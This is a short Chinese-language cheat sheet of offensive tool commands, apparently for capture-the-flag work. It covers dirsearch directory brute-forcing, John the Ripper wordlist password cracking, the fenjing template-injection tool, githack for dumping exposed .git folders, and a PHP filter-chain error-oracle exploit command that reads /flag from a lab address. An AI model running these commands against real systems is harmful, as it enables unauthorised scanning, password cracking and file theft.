工具指令：

dirsearch：

python dirsearch.py -u (url) --delay (请求间隔) 

john:

破解：
john 路径

查看已破解的密码：
john --show hashes.txt

| 使用字典攻击 | `john --wordlist=password.lst --rules hashes.txt` |
| --- | --- |
| 恢复中断的会话 | `john --restore` |
| 查看状态 | `john --status` |
| 显示所有已破解密码 | `john --show hashes.txt` |

fenjing

python -m fenjing webui

githack

python githack.py (url)

基于错误型oracle的文件读取攻击一把嗦：

python .filters_chain_oracle_exploit.py --target http://12.0.0.7:8080 --parameter a --file /flag --time_based_attack True --match "Allowed memory size"